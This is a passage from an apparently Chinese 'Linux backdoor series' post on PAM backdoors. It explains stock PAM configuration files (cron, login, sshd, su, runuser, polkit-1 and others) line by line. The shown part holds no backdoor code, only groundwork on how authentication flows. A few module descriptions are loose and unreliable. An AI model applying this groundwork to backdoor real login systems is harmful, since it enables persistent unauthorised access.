    • 与 systemd 集成,管理用户会话的生命周期。此模块的成功或失败不会影响整个会话管理过程
5) common-session-noninteractive

common-session-noninteractive 配置文件定义了系统所有非交互式会话共享的通用会话管理策略。这些非交互式会话通常涉及后台任务或自动化脚本,而不是用户直接登录的交互式会话。通过将非交互式会话管理策略抽象到一个单独的文件中,系统可以简化 PAM 配置的管理,并确保所有非交互式会话遵循一致的管理流程

PAM 后门 | Linux 后门系列
#
# /etc/pam.d/common-session-noninteractive - session-related modules
# common to all non-interactive services
#
# This file is included from other service-specific PAM config files,
# and should contain a list of modules that define tasks to be performed
# at the start and end of all non-interactive sessions.
#
# As of pam 1.0.1-6, this file is managed by pam-auth-update by default.
# To take advantage of this, it is recommended that you configure any
# local modules either before or after the default block, and use
# pam-auth-update to manage selection of other modules.  See
# pam-auth-update(8) for details.

# here are the per-package modules (the "Primary" block)
session [default=1]   pam_permit.so
# here's the fallback if no module succeeds
session requisite   pam_deny.so
# prime the stack with a positive return value if there isn't one already;
# this avoids us returning an error just because nothing sets a success code
# since the modules above will each just jump around
session required   pam_permit.so
# The pam_umask module will set the umask according to the system default in
# /etc/login.defs and user settings, solving the problem of different
# umask settings with different shells, display managers, remote sessions etc.
# See "man pam_umask".
session optional   pam_umask.so
# and here are more per-package modules (the "Additional" block)
session required pam_unix.so 
# end of pam-auth-update config
session [default=1]   pam_permit.so
  • 类型session
  • 控制标志[default=1]
  • 模块pam_permit.so
  • 功能
    • 如果此模块返回默认结果(成功),则跳过下一个模块(跳过 1 个模块)
    • pam_permit.so 模块总是返回成功
    • 控制标志 [default=1]的含义是:
session requisite   pam_deny.so
  • 类型session
  • 控制标志requisite
  • 模块pam_deny.so
  • 功能
    • pam_deny.so 模块总是返回失败
    • requisite 标志表示如果此模块失败,整个会话管理过程立即失败,不再执行后续模块
    • 这是一个安全措施,确保如果没有模块成功,会话管理将失败
session required   pam_permit.so
  • 类型session

  • 控制标志required

  • 模块pam_permit.so

  • 功能

    • pam_permit.so 模块总是返回成功
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
    • 这个配置用于确保在没有设置成功代码的情况下,避免会话管理过程因为没有成功代码而失败

session optional   pam_umask.so
  • 类型session

  • 控制标志optional

  • 模块pam_umask.so

  • 功能

    • pam_umask.so 模块用于设置用户的文件创建掩码(umask)

    • optional 标志表示此模块的成功或失败不会影响整个会话管理过程

    • 通过读取 /etc/login.defs 和用户设置来解决不同 shell、显示管理器、远程会话等的 umask 设置问题

      PAM 后门 | Linux 后门系列
session required pam_unix.so 
  • 类型session
  • 控制标志required
  • 模块pam_unix.so
  • 功能
    • pam_unix.so 模块用于通过 /etc/passwd/etc/shadow 文件进行会话管理
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败

配置总体执行流程

  1. 非交互式任务启动,系统开始会话管理流程
  2. 调用 pam_permit.so 模块:
    • 如果此模块返回默认结果(成功),则跳过下一个模块(pam_deny.so),继续执行下一个 pam_permit.so
  3. 调用 pam_deny.so 模块:
    • 如果执行到此模块,表示之前的模块失败,立即终止会话管理过程
  4. 调用 pam_permit.so 模块:
    • 总是返回成功,确保会话管理流程的正向结果
  5. 调用 pam_umask.so 模块:
    • 设置用户的文件创建掩码(umask)。此模块的成功或失败不会影响整个会话管理过程
  6. 调用 pam_unix.so 模块:
    • 进行标准的会话管理操作,如初始化用户环境。此模块必须成功,否则会话管理过程将失败
6) chfn

用于更改用户的 GECOS 信息(如全名、电话等)

如果大家使用过 finger 命令,应该很容易理解,这个服务就是修改 finger 服务显示的信息的

PAM 后门 | Linux 后门系列

使用 chfn 进行修改

PAM 后门 | Linux 后门系列

成功进行了修改,从行为表现上来看,需要进行身份验证,验证通过后才允许修改信息,认证失败显示如下

PAM 后门 | Linux 后门系列

好,有了以上了解,我们来看一下 chfn 服务对应的 PAM 配置文件

PAM 后门 | Linux 后门系列
#
# The PAM configuration file for the Shadow `chfn' service
#

# This allows root to change user infomation without being
# prompted for a password
auth  sufficient pam_rootok.so

# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session

# 开头的行为注释,看起来似乎第二行反引号打成了单引号,不过不影响程序执行

auth  sufficient pam_rootok.so
  • 类型auth

  • 控制标志sufficient

  • 模块pam_rootok.so

  • 功能

    • 允许 root 用户在不需要密码的情况下更改用户信息。如果当前用户是 root,则认证立即成功且不需要执行后续的 auth 模块
    • sufficient 标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth 模块;如果失败,则继续执行后续模块
@include common-auth
  • 类型auth

  • 功能

    • 包含 common-auth 配置文件。common-auth 通常定义了系统的通用认证策略,适用于所有需要认证的服务。这可以包括验证用户密码等标准认证步骤
@include common-account
  • 类型account
  • 功能
    • 包含 common-account 配置文件。common-account 通常定义了系统的通用账户管理策略,适用于所有需要账户管理的服务。这可以包括检查账户是否被锁定或是否有登录权限等
@include common-session
  • 类型session
  • 功能
    • 包含 common-session 配置文件。common-session 通常定义了系统的通用会话管理策略,适用于所有需要会话管理的服务。这可以包括初始化用户环境、设置资源限制等

配置总体执行流程

  1. root 用户执行 chfn
    • 调用 pam_rootok.so 模块。如果当前用户是 root,则认证立即成功,不需要执行后续的 auth 模块
    • 跳过 common-auth 中的认证模块,因为 pam_rootok.so 已经成功
  2. 非 root 用户执行 chfn
    • 调用 pam_rootok.so 模块。如果当前用户不是 root,则继续执行后续的 auth 模块
    • 执行 common-auth 中定义的标准认证步骤(例如,验证用户密码)
    • 调用 common-account 中定义的账户管理模块,检查账户是否有效
    • 调用 common-session 中定义的会话管理模块,处理会话相关的设置
7) chpasswd

chpasswd 是一个用于批量更改用户密码的工具,通常在脚本或批处理任务中使用。它通过读取一个包含用户名和密码对的文件来更新用户密码

PAM 后门 | Linux 后门系列
# The PAM configuration file for the Shadow 'chpasswd' service
#

@include common-password

直接就包含 common-password

8) chsh

chsh(change shell)命令用于更改用户的登录 shell

PAM 后门 | Linux 后门系列
#
# The PAM configuration file for the Shadow `chsh' service
#

# This will not allow a user to change their shell unless
# their current one is listed in /etc/shells. This keeps
# accounts with special shells from changing them.
auth       required   pam_shells.so

# This allows root to change user shell without being
# prompted for a password
auth  sufficient pam_rootok.so

# The standard Unix authentication modules, used with
# NIS (man nsswitch) as well as normal /etc/passwd and
# /etc/shadow entries.
@include common-auth
@include common-account
@include common-session
auth       required   pam_shells.so
  • 类型auth
  • 控制标志required
  • 模块pam_shells.so
  • 功能
    • 该模块用于检查用户当前的 shell 是否在 /etc/shells 文件中列出。如果不在,则拒绝更改 shell
    • required 标志表示如果此模块失败,整个认证过程将失败,用户无法更改其 shell
  • 目的:确保只有当前 shell 在 /etc/shells 文件中列出的用户才能更改其 shell。这有助于防止特定账户(例如具有特殊 shell 的账户)更改其 shell
auth  sufficient pam_rootok.so
  • 类型auth
  • 控制标志sufficient
  • 模块pam_rootok.so
  • 功能
    • 允许 root 用户在不需要密码的情况下更改用户的登录 shell。如果当前用户是 root,则认证立即成功且不需要执行后续的 auth 模块
    • sufficient 标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth 模块;如果失败,则继续执行后续模块
9) cron

cron 服务用于定时执行任务。cron 的 PAM 配置文件定义了如何处理这些任务的认证和权限管理

PAM 后门 | Linux 后门系列
# The PAM configuration file for the cron daemon

@include common-auth

# Sets the loginuid process attribute
session    required     pam_loginuid.so

# Read environment variables from pam_env's default files, /etc/environment
# and /etc/security/pam_env.conf.
session       required   pam_env.so

# In addition, read system locale information
session       required   pam_env.so envfile=/etc/default/locale

@include common-account
@include common-session-noninteractive 

# Sets up user limits, please define limits for cron tasks
# through /etc/security/limits.conf
session    required   pam_limits.so
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,如验证用户密码
session    required     pam_loginuid.so
  • 类型session
  • 控制标志required
  • 模块pam_loginuid.so
  • 功能
    • 该模块用于设置登录 UID(Login UID),有助于审计和安全管理
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    required   pam_env.so
session    required   pam_env.so envfile=/etc/default/locale
  • 类型session

  • 控制标志required

  • 模块pam_env.so

  • 功能

    • 该模块用于读取和设置环境变量。默认情况下,它从 /etc/environment/etc/security/pam_env.conf 文件中读取环境变量

    • 第二行配置指定了一个额外的环境变量文件 /etc/default/locale,用于读取系统的区域设置信息

      PAM 后门 | Linux 后门系列
    • required 标志表示这些模块必须成功,否则整个会话管理过程将失败

@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,如检查账户是否被锁定或过期
@include common-session-noninteractive
  • 包含common-session-noninteractive 配置文件
  • 功能
    • 包含 common-session-noninteractive 配置文件,定义了系统的通用非交互式会话管理策略,如设置资源限制和初始化用户环境
session    required   pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 该模块用于设置用户的资源限制。这些限制通常定义在 /etc/security/limits.conf 文件中
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败

配置总体执行流程

  1. 调用 common-auth 中定义的模块

    • 执行 common-auth 中定义的认证模块,如验证用户密码
  2. 调用 pam_loginuid.so 模块

    • 设置登录 UID(Login UID),有助于审计和安全管理
  3. 调用 pam_env.so 模块

    • 读取和设置环境变量,默认情况下从 /etc/environment/etc/security/pam_env.conf 文件中读取环境变量
    • 读取系统的区域设置信息,从 /etc/default/locale 文件中读取环境变量
  4. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,如检查账户是否被锁定或过期
  5. 调用 common-session-noninteractive 中定义的模块

    • 执行 common-session-noninteractive 中定义的非交互式会话管理模块,如设置资源限制和初始化用户环境
  6. 调用 pam_limits.so 模块

    • 设置用户的资源限制,确保 cron 任务在受控的资源环境中运行
10) login

login 服务用于控制台登录的认证和权限管理

内容比较多,只看非注释行了

PAM 后门 | Linux 后门系列
auth       optional   pam_faildelay.so  delay=3000000
auth       requisite  pam_nologin.so
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session    required     pam_loginuid.so
session    optional   pam_motd.so motd=/run/motd.dynamic
session    optional   pam_motd.so noupdate
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
session       required   pam_env.so readenv=1
session       required   pam_env.so readenv=1 envfile=/etc/default/locale
@include common-auth
auth       optional   pam_group.so
session    required   pam_limits.so
session    optional   pam_lastlog.so
session    optional   pam_mail.so standard
session    optional   pam_keyinit.so force revoke
@include common-account
@include common-session
@include common-password

配置文件分析

auth       optional   pam_faildelay.so  delay=3000000
  • 类型auth
  • 控制标志optional
  • 模块pam_faildelay.so
  • 参数delay=3000000
  • 功能
    • 设置登录失败后的延迟时间(以微秒为单位)。这里设置为 3 秒
    • optional 标志表示此模块的成功或失败不会影响整个认证过程
auth       requisite  pam_nologin.so
  • 类型auth
  • 控制标志requisite
  • 模块pam_nologin.so
  • 功能
    • 检查 /etc/nologin 文件是否存在。如果存在且当前用户不是 root,则认证失败
    • requisite 标志表示如果此模块失败,整个认证过程立即失败,不再执行后续模块
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so close
session [success=ok ignore=ignore module_unknown=ignore default=bad] pam_selinux.so open
  • 类型session
  • 控制标志[success=ok ignore=ignore module_unknown=ignore default=bad]
  • 模块pam_selinux.so
  • 功能
    • success=ok:如果模块成功,继续执行后续模块
    • ignore=ignore:如果模块被忽略,不影响整个会话管理过程
    • module_unknown=ignore:如果模块未知,不影响整个会话管理过程
    • default=bad:如果模块返回默认结果,整个会话管理过程失败
    • close:在会话开始前设置 SELinux 上下文
    • open:在会话开始后恢复 SELinux 上下文
    • 控制标志表示:
session    required     pam_loginuid.so
  • 类型session
  • 控制标志required
  • 模块pam_loginuid.so
  • 功能
    • 设置登录 UID,有助于审计和安全管理
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    optional   pam_motd.so motd=/run/motd.dynamic
session    optional   pam_motd.so noupdate
  • 类型session
  • 控制标志optional
  • 模块pam_motd.so
  • 功能
    • 显示每日消息(Message of the Day)。第一行配置显示 /run/motd.dynamic 文件的内容,第二行配置显示 /etc/motd 文件的内容,但不更新 /run/motd
session    required   pam_env.so readenv=1
session    required   pam_env.so readenv=1 envfile=/etc/default/locale
  • 类型session
  • 控制标志required
  • 模块pam_env.so
  • 参数
    • readenv=1:读取环境变量
    • envfile=/etc/default/locale:指定额外的环境变量文件
  • 功能
    • 读取和设置环境变量,默认情况下从 /etc/environment/etc/security/pam_env.conf 文件中读取环境变量
    • 第二行配置指定了一个额外的环境变量文件 /etc/default/locale,用于读取系统的区域设置信息
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,如验证用户密码
auth       optional   pam_group.so
  • 类型auth
  • 控制标志optional
  • 模块pam_group.so
  • 功能
    • 根据配置文件 /etc/security/group.conf 中的规则将用户添加到特定的组
    • optional 标志表示此模块的成功或失败不会影响整个认证过程
session    required   pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 设置用户的资源限制,通常定义在 /etc/security/limits.conf 文件中
session    optional   pam_lastlog.so
  • 类型session
  • 控制标志optional
  • 模块pam_lastlog.so
  • 功能
    • 显示用户最后一次登录的信息
session    optional   pam_mail.so standard
  • 类型session
  • 控制标志optional
  • 模块pam_mail.so
  • 功能
    • 通知用户是否有新邮件。standard 参数使用标准消息格式
session    optional   pam_keyinit.so force revoke
  • 类型session
  • 控制标志optional
  • 模块pam_keyinit.so
  • 参数
    • force:强制初始化密钥环
    • revoke:在会话结束时撤销密钥环
  • 功能
    • 初始化用户的密钥环,以确保安全的密钥管理
@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,如检查账户是否被锁定或过期
@include common-session
  • 包含common-session 配置文件
  • 功能
    • 包含 common-session 配置文件,定义了系统的通用会话管理策略,如初始化用户环境和设置资源限制
@include common-password
  • 包含common-password 配置文件
  • 功能
    • 包含 common-password 配置文件,定义了系统的通用密码管理策略,如更新密码和检查密码复杂度

配置总体执行流程

  1. 调用 pam_faildelay.so 模块

    • 设置登录失败后的延迟时间(3 秒)。此模块的成功或失败不会影响整个认证过程
  2. 调用 pam_nologin.so 模块

    • 检查 /etc/nologin 文件是否存在。如果存在且当前用户不是 root,认证失败
  3. 调用 pam_selinux.so 模块(关闭 SELinux 上下文):

    • 在会话开始前设置 SELinux 上下文
  4. 调用 pam_loginuid.so 模块

    • 设置登录 UID
  5. 调用 pam_motd.so 模块

    • 显示每日消息
  6. 调用 pam_selinux.so 模块(打开 SELinux 上下文):

    • 在会话开始后恢复 SELinux 上下文
  7. 调用 pam_env.so 模块

    • 读取并设置环境变量
  8. 调用 common-auth 中定义的模块

    • 执行 common-auth 中定义的认证模块,如验证用户密码
  9. 调用 pam_group.so 模块

    • 根据配置文件将用户添加到特定的组
  10. 调用 pam_limits.so 模块

  • 设置用户的资源限制
  1. 调用 pam_lastlog.so 模块
  • 显示用户最后一次登录的信息
  1. 调用 pam_mail.so 模块
  • 通知用户是否有新邮件
  1. 调用 pam_keyinit.so 模块
  • 初始化用户的密钥环
  1. 调用 common-account 中定义的模块
  • 执行 common-account 中定义的账户管理模块,如检查账户是否被锁定或过期
  1. 调用 common-session 中定义的模块
  • 执行 common-session 中定义的会话管理模块,如初始化用户环境和设置资源限制
  1. 调用 common-password 中定义的模块
  • 执行 common-password 中定义的密码管理模块,如更新密码和检查密码复杂度
11)  newusers

newusers 是一个用于批量创建用户或更新用户信息的工具,通常在脚本或批处理任务中使用

PAM 后门 | Linux 后门系列
# The PAM configuration file for the Shadow 'newusers' service
#

@include common-password

非常简单,就是包含 @include common-password

12) passwd

passwd 命令用于更改用户的密码

PAM 后门 | Linux 后门系列
#
# The PAM configuration file for the Shadow `passwd' service
#

@include common-password

非常简单,就是包含 @include common-password

13) polkit-1

polkit-1 是 PolicyKit 的一个组件,用于定义和处理权限策略。PolicyKit 允许非特权进程与特权进程进行通信,并根据权限策略决定是否允许执行某些操作

PAM 后门 | Linux 后门系列
#%PAM-1.0

@include common-auth
@include common-account
@include common-password
session       required   pam_env.so readenv=1 user_readenv=0
session       required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
@include common-session-noninteractive

这配置文件没有详细的注释,与上面这些有明显的不同

@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,如验证用户密码
@include common-account
  • 包含common-account 配置文件

  • 功能

    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,如检查账户是否被锁定或过期
@include common-password
  • 包含common-password 配置文件
  • 功能
    • 包含 common-password 配置文件,定义了系统的通用密码管理策略,如更新密码和检查密码复杂度
session       required   pam_env.so readenv=1 user_readenv=0
session       required   pam_env.so readenv=1 envfile=/etc/default/locale user_readenv=0
  • 类型session
  • 控制标志required
  • 模块pam_env.so
  • 参数
    • readenv=1:读取环境变量
    • user_readenv=0:不从用户环境变量文件中读取
    • envfile=/etc/default/locale:第二行配置指定额外的环境变量文件
  • 功能
    • 读取和设置环境变量,第一行从默认文件 /etc/environment/etc/security/pam_env.conf 中读取,第二行还包括 /etc/default/locale 文件中的环境变量
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
@include common-session-noninteractive
  • 包含common-session-noninteractive 配置文件
  • 功能
    • 包含 common-session-noninteractive 配置文件,定义了系统的通用非交互式会话管理策略,如设置资源限制和初始化用户环境

配置总体执行流程

  1. 调用 common-auth 中定义的模块

    • 执行 common-auth 中定义的认证模块,如验证用户密码,确保用户具有进行特权操作的权限
  2. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,如检查用户账户是否被锁定或过期,确保用户账户有效且未被锁定
  3. 调用 common-password 中定义的模块

    • 执行 common-password 中定义的密码管理模块,如更新用户密码和检查密码复杂度,确保密码管理策略的一致性
  4. 调用 pam_env.so 模块

    • 第一行读取系统默认的环境变量文件 /etc/environment/etc/security/pam_env.conf
    • 第二行还从 /etc/default/locale 文件中读取额外的环境变量
    • 这些模块的成功或失败会影响整个会话管理过程
  5. 调用 common-session-noninteractive 中定义的模块

    • 执行 common-session-noninteractive 中定义的非交互式会话管理模块,如设置资源限制和初始化用户环境,确保后台和自动化任务的安全性和稳定性
14) runuser

runuser 是一个用于在不显式提供密码的情况下切换用户的命令,通常由系统脚本或服务使用

PAM 后门 | Linux 后门系列
#%PAM-1.0
auth  sufficient pam_rootok.so
session  optional pam_keyinit.so revoke
session  required pam_limits.so
session  required pam_unix.so
auth       sufficient   pam_rootok.so
  • 类型auth
  • 控制标志sufficient
  • 模块pam_rootok.so
  • 功能
    • 允许 root 用户在不需要密码的情况下执行 runuser 命令。如果当前用户是 root,则认证立即成功且不需要执行后续的 auth 模块
    • sufficient 标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth 模块;如果失败,则继续执行后续模块
session    optional     pam_keyinit.so revoke
  • 类型session
  • 控制标志optional
  • 模块pam_keyinit.so
  • 参数
    • revoke:在会话结束时撤销密钥环
  • 功能
    • 初始化用户的密钥环,以确保安全的密钥管理。此模块在会话结束时撤销密钥环
    • optional 标志表示此模块的成功或失败不会影响整个会话管理过程
session    required     pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 设置用户的资源限制,通常定义在 /etc/security/limits.conf 文件中
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    required     pam_unix.so
  • 类型session
  • 控制标志required
  • 模块pam_unix.so
  • 功能
    • 提供标准的 Unix 会话管理功能,如设置用户环境、创建用户会话等
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败

配置总体执行流程

  1. 调用 pam_rootok.so 模块

    • 检查当前用户是否为 root。如果是 root,认证立即成功,不需要执行后续的 auth 模块
  2. 调用 pam_keyinit.so 模块

    • 初始化用户的密钥环,并在会话结束时撤销密钥环。此模块的成功或失败不会影响整个会话管理过程
  3. 调用 pam_limits.so 模块

    • 设置用户的资源限制,确保 runuser 命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败
  4. 调用 pam_unix.so 模块

    • 提供标准的 Unix 会话管理功能,如设置用户环境、创建用户会话等。此模块必须成功,否则整个会话管理过程将失败
15) runuser-l

runuserrunuser -l 用于在 Linux 系统中切换用户。runuser -l 命令特别用来启动一个登录 shell,会模拟用户登录的环境

PAM 后门 | Linux 后门系列
#%PAM-1.0
auth  include  runuser
session  optional pam_keyinit.so force revoke
-session optional pam_systemd.so
session  include  runuser
auth       include     runuser
  • 包含runuser 配置文件
  • 功能
    • 包含 runuser 配置文件,定义了 runuser 命令的认证策略。这意味着 runuser-l 将使用 runuser 配置文件中的认证模块
session    optional    pam_keyinit.so force revoke
  • 类型session
  • 控制标志optional
  • 模块pam_keyinit.so
  • 参数
    • force:强制初始化密钥环
    • revoke:在会话结束时撤销密钥环
  • 功能
    • 初始化用户的密钥环,以确保安全的密钥管理。此模块在会话结束时撤销密钥环
    • optional 标志表示此模块的成功或失败不会影响整个会话管理过程
-session   optional    pam_systemd.so
  • 类型session
  • 控制标志optional
  • 模块pam_systemd.so
  • 功能
    • 将用户会话注册到 systemd,这样可以使用 systemd 的功能来管理用户会话。例如,用户会话可以通过 systemd 来控制和限制
    • optional 标志表示此模块的成功或失败不会影响整个会话管理过程
    • 前面的 - 表示如果模块不可用,不会记录错误
session    include     runuser
  • 包含runuser 配置文件
  • 功能
    • 包含 runuser 配置文件,定义了 runuser 命令的会话管理策略。这意味着 runuser-l 将使用 runuser 配置文件中的会话管理模块

配置总体执行流程

结合 runuserrunuser-l 的 PAM 配置文件,完整的处理流程如下:

  1. 调用 runuser 配置文件中的 pam_rootok.so 模块

    • 检查当前用户是否为 root。如果是 root,认证立即成功,不需要执行后续的 auth 模块
  2. 调用 runuser 配置文件中的 pam_unix.so 模块

    • 对非 root 用户进行密码验证。只有密码验证成功,认证过程才能继续
  3. 调用 pam_keyinit.so 模块

    • 初始化用户的密钥环,并在会话结束时撤销密钥环。此模块的成功或失败不会影响整个会话管理过程
  4. 调用 pam_systemd.so 模块

    • 将用户会话注册到 systemd。此模块的成功或失败不会影响整个会话管理过程
  5. 调用 runuser 配置文件中的 pam_limits.so 模块

    • 设置用户的资源限制,确保 runuser -l 命令在受控的资源环境中运行。此模块必须成功,否则整个会话管理过程将失败
  6. 调用 runuser 配置文件中的 pam_unix.so 模块

    • 提供标准的 Unix 会话管理功能,如设置用户环境、创建用户会话等。此模块必须成功,否则整个会话管理过程将失败
16) sshd

ssh 服务

PAM 后门 | Linux 后门系列
@include common-auth
account    required     pam_nologin.so
@include common-account
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close
session    required     pam_loginuid.so
session    optional     pam_keyinit.so force revoke
@include common-session
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
session    optional     pam_mail.so standard noenv # [1]
session    required     pam_limits.so
session    required     pam_env.so # [1]
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open
@include common-password
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,例如验证用户密码
account    required     pam_nologin.so
  • 类型account
  • 控制标志required
  • 模块pam_nologin.so
  • 功能
    • 检查 /etc/nologin 文件是否存在。如果存在且当前用户不是 root,则登录将被拒绝
    • required 标志表示此模块必须成功,否则整个账户管理过程将失败
@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so close
  • 类型session
  • 控制标志[success=ok ignore=ignore module_unknown=ignore default=bad]
  • 模块pam_selinux.so
  • 功能
    • success=ok:如果模块成功,继续执行后续模块
    • ignore=ignore:忽略模块的结果
    • module_unknown=ignore:如果模块未知,忽略错误
    • default=bad:如果模块返回默认结果,整个会话管理过程将失败
    • 关闭 SELinux 上下文。在会话开始前设置 SELinux 上下文
    • 控制标志表示:
session    required     pam_loginuid.so
  • 类型session
  • 控制标志required
  • 模块pam_loginuid.so
  • 功能
    • 设置登录 UID,有助于审计和安全管理
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    optional     pam_keyinit.so force revoke
  • 类型session
  • 控制标志optional
  • 模块pam_keyinit.so
  • 参数
    • force:强制初始化密钥环
    • revoke:在会话结束时撤销密钥环
  • 功能
    • 初始化用户的密钥环,以确保安全的密钥管理。此模块的成功或失败不会影响整个会话管理过程
@include common-session
  • 包含common-session 配置文件
  • 功能
    • 包含 common-session 配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制
session    optional     pam_motd.so  motd=/run/motd.dynamic
session    optional     pam_motd.so noupdate
  • 类型session
  • 控制标志optional
  • 模块pam_motd.so
  • 功能
    • 显示每日消息(Message of the Day)。第一行配置显示 /run/motd.dynamic 文件的内容,第二行配置显示 /etc/motd 文件的内容,但不更新 /run/motd
session    optional     pam_mail.so standard noenv # [1]
  • 类型session
  • 控制标志optional
  • 模块pam_mail.so
  • 功能
    • 通知用户是否有新邮件。standard 参数使用标准消息格式,noenv 参数不设置 MAIL 环境变量
session    required     pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 设置用户的资源限制,通常定义在 /etc/security/limits.conf 文件中
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
session    required     pam_env.so # [1]
session    required     pam_env.so user_readenv=1 envfile=/etc/default/locale
  • 类型session
  • 控制标志required
  • 模块pam_env.so
  • 参数
    • 第一行从默认文件 /etc/environment/etc/security/pam_env.conf 中读取环境变量
    • 第二行从 /etc/default/locale 文件中读取额外的环境变量,并允许读取用户环境变量 (user_readenv=1)
  • 功能
    • 读取和设置环境变量。required 标志表示这些模块必须成功,否则整个会话管理过程将失败
session [success=ok ignore=ignore module_unknown=ignore default=bad]        pam_selinux.so open
  • 类型session
  • 控制标志[success=ok ignore=ignore module_unknown=ignore default=bad]
  • 模块pam_selinux.so
  • 功能
    • 打开 SELinux 上下文。在会话开始后恢复 SELinux 上下文
    • 控制标志与关闭 SELinux 上下文时相同
@include common-password
  • 包含common-password 配置文件
  • 功能
    • 包含 common-password 配置文件,定义了系统的通用密码管理策略,例如更新密码和检查密码复杂度

配置总体执行流程

  1. 调用 common-auth 中定义的模块

    • 执行 common-auth 中定义的认证模块,例如验证用户密码,确保用户具有进行特权操作的权限
  2. 调用 pam_nologin.so 模块

    • 检查 /etc/nologin 文件是否存在。如果存在且当前用户不是 root,登录将被拒绝
  3. 调用 common-account 中定义的模块

    • 执行 common-account 中定义的账户管理模块,例如检查账户是否被锁定或过期,确保用户账户有效且未被锁定
  4. 调用 pam_selinux.so 模块(关闭 SELinux 上下文):

    • 在会话开始前设置 SELinux 上下文
  5. 调用 pam_loginuid.so 模块

    • 设置登录 UID,有助于审计和安全管理
  6. 调用 pam_keyinit.so 模块

    • 初始化用户的密钥环,并在会话结束时撤销密钥环
  7. 调用 common-session 中定义的模块

    • 执行 common-session 中定义的会话管理模块,例如初始化用户环境和设置资源限制
  8. 调用 pam_motd.so 模块

    • 显示每日消息(Message of the Day)
  9. 调用 pam_mail.so 模块

    • 通知用户是否有新邮件
  10. 调用 pam_limits.so 模块

    • 设置用户的资源限制
  11. 调用 pam_env.so 模块

    • 读取和设置环境变量,包括系统的区域设置信息
  12. 调用 pam_selinux.so 模块(重新打开 SELinux 上下文):

    • 在会话开始后恢复 SELinux 上下文
  13. 调用 common-password 中定义的模块

    • 执行 common-password 中定义的密码管理模块,例如更新密码和检查密码复杂度
17) su

切换用户的程序

PAM 后门 | Linux 后门系列
auth       sufficient pam_rootok.so
session       required   pam_env.so readenv=1
session       required   pam_env.so readenv=1 envfile=/etc/default/locale
session    optional   pam_mail.so nopen
session    required   pam_limits.so
@include common-auth
@include common-account
@include common-session
auth       sufficient   pam_rootok.so
  • 类型auth
  • 控制标志sufficient
  • 模块pam_rootok.so
  • 功能
    • 允许 root 用户在不需要密码的情况下使用 su 命令。如果当前用户是 root,则认证立即成功且不需要执行后续的 auth 模块
    • sufficient 标志表示如果此模块成功,那么整个认证过程立即成功,不再执行后续的 auth 模块;如果失败,则继续执行后续模块
session    required     pam_env.so readenv=1
session    required     pam_env.so readenv=1 envfile=/etc/default/locale
  • 类型session
  • 控制标志required
  • 模块pam_env.so
  • 参数
    • readenv=1:读取环境变量
    • envfile=/etc/default/locale:第二行配置指定额外的环境变量文件
  • 功能
    • 读取和设置环境变量。第一行从默认文件 /etc/environment/etc/security/pam_env.conf 中读取,第二行还从 /etc/default/locale 文件中读取环境变量
    • required 标志表示这些模块必须成功,否则整个会话管理过程将失败
session    optional     pam_mail.so nopen
  • 类型session
  • 控制标志optional
  • 模块pam_mail.so
  • 参数
    • nopen:不设置 MAIL 环境变量
  • 功能
    • 通知用户是否有新邮件。此模块的成功或失败不会影响整个会话管理过程
session    required     pam_limits.so
  • 类型session
  • 控制标志required
  • 模块pam_limits.so
  • 功能
    • 设置用户的资源限制,通常定义在 /etc/security/limits.conf 文件中
    • required 标志表示此模块必须成功,否则整个会话管理过程将失败
@include common-auth
  • 包含common-auth 配置文件
  • 功能
    • 包含 common-auth 配置文件,定义了系统的通用认证策略,例如验证用户密码
@include common-account
  • 包含common-account 配置文件
  • 功能
    • 包含 common-account 配置文件,定义了系统的通用账户管理策略,例如检查账户是否被锁定或过期
@include common-session
  • 包含common-session 配置文件
  • 功能
    • 包含 common-session 配置文件,定义了系统的通用会话管理策略,例如初始化用户环境和设置资源限制

